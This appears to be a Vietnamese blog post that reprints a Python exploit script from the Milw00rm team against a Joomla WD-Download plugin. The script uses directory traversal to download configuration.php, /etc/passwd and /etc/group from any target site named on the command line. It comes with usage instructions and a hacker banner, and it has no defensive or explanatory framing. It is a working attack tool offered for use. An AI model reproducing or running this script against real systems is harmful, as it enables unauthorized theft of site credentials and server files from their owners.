Thứ Ba, 2 tháng 2, 2016

KHAI THÁC LỖ HỔNG (0DAY) part1






















  1. Joomla WD-Download Local File Download - Exploit
  2.    
  3.    
  4.      
  5.  
  6.  
  7.    
  8. import sys
  9. import urllib2
  10. import webbrowser
  11. import os
  12.  
  13. def CLEAN():
  14.         if os.name == "nt":
  15.                 os.system('cls')
  16.         else:
  17.                 os.system('clear')
  18. CLEAN()
  19.  
  20. print """
  21.                
  22.  __    __  ___        ___                    _                 _
  23. / / /\ \ \/   \      /   \_____      ___ __ | | ___   __ _  __| |
  24. \ \/  \/ / /\ /____ / /\ / _ \ \ /\ / / '_ \| |/ _ \ / _` |/ _` |
  25.  \  /\  / /_//_____/ /_// (_) \ V  V /| | | | | (_) | (_| | (_| |
  26.   \/  \/___,'     /___,' \___/ \_/\_/ |_| |_|_|\___/ \__,_|\__,_|
  27.                                                                  
  28.                        Joomla WD-download Plugin 0day Exploit                                
  29.      
  30.      Greetz to my Brothers : knockoutr & Ne0 h4ck3r
  31.  
  32.      Milw00rm Team
  33.                 """
  34.  
  35. if len(sys.argv) == 1:
  36.         print ""
  37.         print "How To Use: python wjoom.py site.com"
  38.         print ""
  39.         sys.exit(1)
  40.  
  41. s = sys.argv[1]
  42.  
  43. def exploit():
  44.         try:
  45.                 print "[1] For configuration file "
  46.                 print "[2] For /etc/passwd file"
  47.                 print "[3] For /etc/group file"
  48.                 print ""
  49.                 conn = raw_input("root@senhaxor[~] Enter your choice : ")
  50.                 if conn == "1":
  51.                         url = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../configuration.php"
  52.                         test = urllib2.Request(url)
  53.                         data = urllib2.urlopen(test).read()
  54.                         print data
  55.                 elif conn == "2":
  56.                         urlE = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../../../../../../../etc/passwd"
  57.                         testE = urllib2.Request(urlE)
  58.                         dataE = urllib2.urlopen(testE).read()
  59.                         with open("passwd.txt", 'a') as sen:
  60.                                 sen.write(dataE+"\n")
  61.                                 webbrowser.open("passwd.txt")
  62.                 elif conn == "3":
  63.                         urlG = "http://"+s+"/plugins/content/wd/wddownload.php?download=wddownload.php&file=../../../../../../../../../etc/group"
  64.                         testG = urllib2.Request(urlG)
  65.                         dataG = urllib2.urlopen(testG).read()
  66.                         with open("group.txt", 'a') as sen:
  67.                                 sen.write(dataG+"\n")
  68.                                 webbrowser.open("group.txt")
  69.         except Exception as e:
  70.                 print "Unexpected error : %s " % e
  71.  
  72.  
  73.  
  74.  
  75. if __name__ == '__main__':
  76.         exploit()
  77.  
  78. # milw00rm.com [2016-01-15]